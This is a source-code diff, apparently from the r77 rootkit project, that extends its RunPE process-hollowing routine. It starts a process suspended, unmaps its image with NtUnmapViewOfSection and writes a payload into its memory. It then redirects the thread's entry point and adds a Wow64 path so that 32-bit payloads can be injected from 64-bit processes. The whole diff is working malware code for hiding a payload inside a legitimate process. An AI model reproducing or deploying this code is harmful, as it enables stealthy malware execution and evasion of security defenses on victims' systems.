@@ -697,26 +697,38 @@ BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
697697}
698698BOOL RunPE (LPCWSTR path , LPBYTE payload )
699699{
700+ BOOL isPayload64Bit ;
701+ if (IsExecutable64Bit (payload , & isPayload64Bit ))
702+ {
703+ if (isPayload64Bit && BITNESS (32 ))
704+ {
705+ // Cannot inject 64-bit payload from 32-bit process.
706+ return FALSE;
707+ }
708+ }
709+ else
710+ {
711+ return FALSE;
712+ }
713+
700714 // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
701715 // This is a workaround to the well known stability issue of process hollowing.
702716 for (DWORD i = 0 ; i < 5 ; i ++ )
703717 {
704- DWORD processId = 0 ;
705- PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
718+ STARTUPINFOW startupInfo ;
719+ PROCESS_INFORMATION processInformation ;
720+ i_memset (& startupInfo , 0 , sizeof (STARTUPINFOW ));
721+ i_memset (& processInformation , 0 , sizeof (PROCESS_INFORMATION ));
722+ startupInfo .cb = sizeof (startupInfo );
706723
707- if (ntHeaders -> Signature == IMAGE_NT_SIGNATURE )
724+ if (CreateProcessW ( path , NULL , NULL , NULL , FALSE, CREATE_SUSPENDED , NULL , NULL , & startupInfo , & processInformation ) )
708725 {
709- STARTUPINFOW startupInfo ;
710- PROCESS_INFORMATION processInformation ;
711- i_memset (& startupInfo , 0 , sizeof (STARTUPINFOW ));
712- i_memset (& processInformation , 0 , sizeof (PROCESS_INFORMATION ));
713- startupInfo .cb = sizeof (startupInfo );
714-
715- if (CreateProcessW (path , NULL , NULL , NULL , FALSE, CREATE_SUSPENDED , NULL , NULL , & startupInfo , & processInformation ))
726+ if (isPayload64Bit == BITNESS (64 ))
716727 {
717- processId = processInformation . dwProcessId ;
728+ // Payload bitness matches current process bitness
718729
719- //TODO: NtUnmapViewOfSection here
730+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
731+ R77_NtUnmapViewOfSection (processInformation .hProcess , ntHeaders -> OptionalHeader .ImageBase );
720732
721733 LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
722734 if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
@@ -744,7 +756,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
744756 if (GetThreadContext (processInformation .hThread , context ))
745757 {
746758#ifdef _WIN64
747- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + sizeof ( LPVOID ) * 2 ) , & ntHeaders -> OptionalHeader .ImageBase , sizeof ( LPVOID ) , NULL ))
759+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + 16 ) , & ntHeaders -> OptionalHeader .ImageBase , 8 , NULL ))
748760 {
749761 context -> Rcx = (DWORD64 )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
750762 if (SetThreadContext (processInformation .hThread , context ) &&
@@ -754,7 +766,7 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
754766 }
755767 }
756768#else
757- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + sizeof ( LPVOID ) * 2 ) , & ntHeaders -> OptionalHeader .ImageBase , sizeof ( LPVOID ) , NULL ))
769+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ) , & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
758770 {
759771 context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
760772 if (SetThreadContext (processInformation .hThread , context ) &&
@@ -769,11 +781,63 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
769781 }
770782 }
771783 }
784+ else
785+ {
786+ // Spawn 32-bit process from this 64-bit process.
787+
788+ if (!IsAtLeastWindows10 ())
789+ {
790+ //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
791+ return FALSE;
792+ }
793+
794+ PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32 )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
795+ R77_NtUnmapViewOfSection (processInformation .hProcess , ntHeaders -> OptionalHeader .ImageBase );
796+
797+ LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
798+ if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
799+ {
800+ BOOL sectionsWritten = TRUE;
801+
802+ for (int j = 0 ; j < ntHeaders -> FileHeader .NumberOfSections ; j ++ )
803+ {
804+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER )((ULONG_PTR )IMAGE_FIRST_SECTION (ntHeaders ) + j * (ULONG_PTR )IMAGE_SIZEOF_SECTION_HEADER );
805+
806+ if (!WriteProcessMemory (processInformation .hProcess , (LPBYTE )imageBase + sectionHeader -> VirtualAddress , (LPBYTE )payload + sectionHeader -> PointerToRawData , sectionHeader -> SizeOfRawData , NULL ))
807+ {
808+ sectionsWritten = FALSE;
809+ break ;
810+ }
811+ }
812+
813+ if (sectionsWritten )
814+ {
815+ PWOW64_CONTEXT context = (PWOW64_CONTEXT )VirtualAlloc (NULL , sizeof (WOW64_CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
816+ if (context )
817+ {
818+ context -> ContextFlags = WOW64_CONTEXT_FULL ;
819+
820+ if (Wow64GetThreadContext (processInformation .hThread , context ))
821+ {
822+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
823+ {
824+ context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
825+ if (Wow64SetThreadContext (processInformation .hThread , context ) &&
826+ ResumeThread (processInformation .hThread ) != -1 )
827+ {
828+ return TRUE;
829+ }
830+ }
831+ }
832+ }
833+ }
834+ }
835+ }
772836 }
773837
774- if (processId != 0 )
838+ if (processInformation . dwProcessId != 0 )
775839 {
776- HANDLE process = OpenProcess (PROCESS_TERMINATE , FALSE, processId );
840+ HANDLE process = OpenProcess (PROCESS_TERMINATE , FALSE, processInformation . dwProcessId );
777841 if (process )
778842 {
779843 TerminateProcess (process , 0 );
@@ -914,6 +978,10 @@ NTSTATUS NTAPI R77_NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, L
914978 // CreateRemoteThread does not work across sessions in Windows 7.
915979 return ((NT_NTCREATETHREADEX )GetFunction ("ntdll.dll" , "NtCreateThreadEx" ))(thread , desiredAccess , objectAttributes , processHandle , startAddress , parameter , flags , stackZeroBits , sizeOfStackCommit , sizeOfStackReserve , bytesBuffer );
916980}
981+ NTSTATUS NTAPI R77_NtUnmapViewOfSection (HANDLE processHandle , LPVOID baseAddress )
982+ {
983+ return ((NT_NTUNMAPVIEWOFSECTION )GetFunction ("ntdll.dll" , "NtUnmapViewOfSection" ))(processHandle , baseAddress );
984+ }
917985NTSTATUS NTAPI R77_RtlGetVersion (PRTL_OSVERSIONINFOW versionInformation )
918986{
919987 return ((NT_RTLGETVERSION )GetFunction ("ntdll.dll" , "RtlGetVersion" ))(versionInformation );
0 commit comments